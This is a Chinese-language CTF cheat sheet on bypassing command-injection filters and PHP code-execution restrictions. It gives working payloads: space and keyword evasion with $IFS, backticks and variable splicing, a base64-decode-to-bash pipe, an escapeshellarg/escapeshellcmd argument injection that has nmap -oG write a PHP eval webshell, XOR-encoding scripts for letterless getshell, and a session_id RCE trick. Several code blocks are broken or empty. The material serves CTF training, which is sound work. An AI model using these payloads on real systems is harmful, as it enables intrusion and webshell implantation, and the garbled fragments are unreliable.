想要进行绕过的话,需要根据不同的系统的特性采用不同的方式,在ctf中还是以Linux居多
Linux
shell
Shell 是一个用 C 语言编写的程序,它是用户使用 Linux 的桥梁。Shell 既是一种命令语言,又是一种程序设计语言,Shell是系统的用户界面,提供了用户与内核进行交互操作的一种接口(命令解释器)
sh(全称 Bourne Shell): 是UNIX最初使用的 shell,而且在每种 UNIX 上都可以使用。Bourne Shell 在 shell 编程方面相当优秀,但在处理与用户的交互方面做得不如其他几种 shell。
bash(全称 Bourne Again Shell): LinuxOS 默认的,它是 Bourne Shell 的扩展。与BourneShell 完全兼容,并且在 Bourne Shell 的基础上增加了很多特性。可以提供命令补全,命令编辑和命令历史等功能。它还包含了很多 C Shell 和 Korn Shell 中的优点,有灵活和强大的编辑接口,同时又很友好的用户界面。
我们常用(默认)的就是bash(bourne again shell)
shell变量
先来介绍一个概念叫做shell变量,shell变量是由shell程序设置的特殊变量,定义变量时,变量名不加美元符号$
,使用变量时,需要加上美元符号
变量名外面的花括号是可选的.加花括号是为了帮助解释器识别变量的边界,如${IFS}
空格绕过
- IFS绕过
原理:$IFS
(Internal Filed Separator)内部域分隔符,是一个shell变量,默认是空格、Tab键、换行符,可以代替空格使用1
2
3$IFS //这个一般用不了,因为空格过滤了的情况下,无法区分边界
${IFS} //花括号{}用于区分边界
$IFS$1 //后面一个变量用于区分边界,$1改成$加其他数字貌似都行 - 其他绕过
1
2
3< // cmd<file 使cmd命令从file读入,cat的时候可以代替空格
<> // cmd<>file 以读写模式把文件file重定向到输入,cat的时候可以代替空格
{cat,flag.php} //用逗号实现了空格功能,需要用{}括起来
关键词绕过
内联执行(反引号)
- 原理
此处的反引号是Linux命令里的反引号,和php危险函数里的不同,效果却差不多
反引号的功能是命令替换,在反引号(``)中的内容通常是可执行的命令,程序会优先执行反引号中的内容,并使用运行结果替换掉反引号处的内容。
例如:cat `ls`,会先执行ls查询,再将所有文件进行一个cat
变量替换
- 原理
这里的变量是shell变量,不是php的变量,利用命令的拼接,变量的拼接,达到关键词被替换的效果
例如:a=g;cat fla$a.php
或是a=fl;b=ag;cat $a$b.php
//变量定义的时候不加$,使用的时候加 - 注意
需要稍微注意的是,命令之间的连接符不能用||
,因为一旦前面的命令为真后,后面的命令不再执行
编码绕过
- 原理
利用Linux里的base64
命令,可以进行base64的编码(base64 -d
代表解码),先将关键字编码好,再利用管道符和base64 -d
进行解码实现对关键字的绕过 - 先讲编码
echo 待编码字符 |base64
或base64 <<< "待编码字符”
- 解码绕过(重点)
echo 编码后字符 |base64 -d |bash(或是sh)
例子:echo Y2F0IGZsYWcucGhw|base64 -d|bash
=cat flag.php
利用管道符将解码后的命令输入到bash(或sh),这样命令才会被识别成命令执行,不然只会输出解码后的字符串
其他的一些绕过
1 | \ //反斜线 |
例如 ls
被过滤的情况下可以使用l\s
,这个命令在linux中是可以被识别为ls
的,但是如果过滤不严格的情况下就可以绕过过滤,类似的还有l''s
,l""s
escapeshellarg()和escapeshellcmd()
buuctf例题连接[BUUCTF 2018]Online Tool
- escapeshellarg()
这个函数通过将输入的内容两端添加单引号包裹,这样以确保能够直接将一个字符串传入shell函数,使原本会被理解成参数选项的部分被理解成命令内容,确保不会参数参数注入漏洞
如果想通过输入单引号进行闭合也是不可行的,此函数会将单引号'
进行转义后再用单引号包裹'\''
ps:参数注入漏洞是指,在执行命令的时候,用户控制了命令中的某个参数,并通过一些危险的参数功能,达成攻击的目的。 - escapeshellcmd()
会在这些字符(& # ; | * ? ~ < > ^ () [] {} $ \ , \x0A 和 \xFF 反引号
)前添加反斜杠\进行转义,但单引号'
和双引号"
仅在不配对儿的时候被转义。在Windows平台上,所有这些字符加上 % 和 ! 字符都会被空格代替 - 原理
这两个函数都是用来转义用的,前者转义参数,后者转义命令escapeshellarg() -> escapeshellcmd()
这样的流程来处理输入,会导致单引号配对错误,从而导致escapeshellarg()失效,参数参数注入漏洞
主要是因为第二个函数转义了第一个函数的反斜杠,贴一个别人的例子1
2
3
4
5
6
7
8传入参数是:172.17.0.2' -v -d a=1
首先经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',
即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
再经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',
这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
最后执行的命令是curl '172.17.0.2'\\'' -v -da=1\',
由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。
所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1’。 - nmap参数注入
nmap有个危险参数-oG
可以将代码与命令写到文件中,
比如nmap <?php @eval($_POST["a"]);?> -oG shell.php
,就是将一句话木马写在了shell.php里内了。 - 注意
在这题中一句话木马里的参数要用双引号"a"
包裹,因为escapeshellarg()会对单引号进行转义导致问题.最后的payload为注意有两个单引号,且中间有空格,不然转义后的反斜杠会导致文件名变成1
?host=' <?php @eval($_POST["a"]);?> -oG shell.php '
php\
无字母getshell
代码确实是限制了我们的 Webshell 不能出现任何字母和数字,但是并没有限制除了字母和数字以外的其他字符。所以我们的思路是,将非字母数字的字符经过各种转换,最后能构造出a-z0-9中的任意一个字符。然后再利用 PHP 允许动态函数执行的特点,拼接处一个函数名,比如 “assert”、”system”、”file_put_contents”、”call_user_func” 等危险函数然后动态执行即可。
本质上就是对一下代码的绕过
1 |
|
异或构造
关键字符^
- python脚本已经确定了一个异或字符oxff(可修改),异或后进行URL编码,这样在引号被过滤时也可以使用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32import re
import requests
import urllib
a=[]
ans1=""
ans2=""
myxor="phpinfo" # 想要异或编码的字符
for i in range(0,256): # 全部字符的范围
c=chr(i)
tmp = re.match(r'[0-9]|[a-z]',c,re.I) # 设置过滤条件
if(tmp):
continue
# 当执行正确时,那说明这些是被过滤掉的,所以才会被匹配到,此时我们让他继续执行即可
else:
a.append(c)
# 在数组中加入未被系统过滤掉的字符
def test(x):
global ans1 # 引用全局变量ans1,使得在局部对其进行更改时不会报错
global ans2 # 引用全局变量ans2,使得在局部对其进行更改时不会报错
for i in a: # 遍历未被过滤的字符
for j in a: # 在上个循环的条件下遍历未被过滤的字符
if(ord(i)^ord(j)==ord(x)): # 转化为数字进行异或比较
ans1+=i # 将每一个右边的字符储存
#ans1+='%'+hex(ord(i))[2:] 写法2
ans2+=j # 将每一个左边的字符储存
#ans2+='%'+hex(ord(j))[2:] 写法2
return
for m in myxor: # 遍历需要编码的字符
test(m) # 使用函数的原因是为了跳出多重循环
print("('"+urllib.request.quote(ans1)+"'^'"+urllib.request.quote(ans2)+"')")
# urllib.request.quote()将字符串转换为URL编码
# print('(('+ans1+')^('+ans2+'))') 写法21
2
3
4
5
6
7
8
9str = 'phpinfo' #需要异或编码的函数
myhex=0xff #其中一个十六进制数
hexstr='%ff' #url编码后的0xff
encoded_str = ''
encoded_hex = ''
for i in str:
encoded_str += '%' + hex(ord(i) ^ myhex)[2:] #做了一个物理切割转化成url编码
encoded_hex +=hexstr
print('(('+encoded_str+')^('+encoded_hex+'))') - 注意
php的异或可以用(' '^' ')
或是(()^())
(写法2)的形式进行多个字符的异或,但是因为字符串不能直接异或,先转化为16进制,外面加个括号是为了拼接可变函数如(phpinfo)()
才可以执行,但是别忘记最后的;
不能少
如果括号,引号都被过滤了的话,也许可以考虑一下执行<?= include /flag ?>
类似于这样来读取关键文件信息
取反绕过
过滤的不多用php脚本跑一下
关键字符~
1 |
|
过滤了大部分字符,用汉字取反的一句话木马,密码_
1 |
|
自增绕过
无参数rce
无参数rce的本质是对如下代码的绕过
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { |
这个正则限制了传入的参数只能是类似于下面这样的形式(套娃模式)
1 | a(); |
关键在于
1 | localeconv() //返回一个包含本地数字及货币格式信息的数组。 |
session_id绕过
session_id()的作用就是获取当前会话的ID,也就是cookie中的phpsession的值,通过构造PHPSESSID为恶意代码执行命令
需要注意的一点是,phpsession中只允许出现 a-z A-Z 0-9 , -
等字符,所以不能直接插入恶意代码,需要先将其进行16进制编码后再插入。
payloadhex2bin(session_id(session_start()));
cookie:PHPSESSID=编码后的代码
其实本质就是session_id
被替换成了PHPSESSID
中的字符,好处是,这样一来可以转移矛盾,比如参数cmd
实行了严格的过滤,那我们可以试着使用这个,最后命令写在cookie中,就不会被过滤了
一句话木马绕过
额,也没什么好说的,在可以达成命令执行的地方,写入一个一句话木马,好处是,新的参数可以不受原来waf的限制,也可以连接蚁剑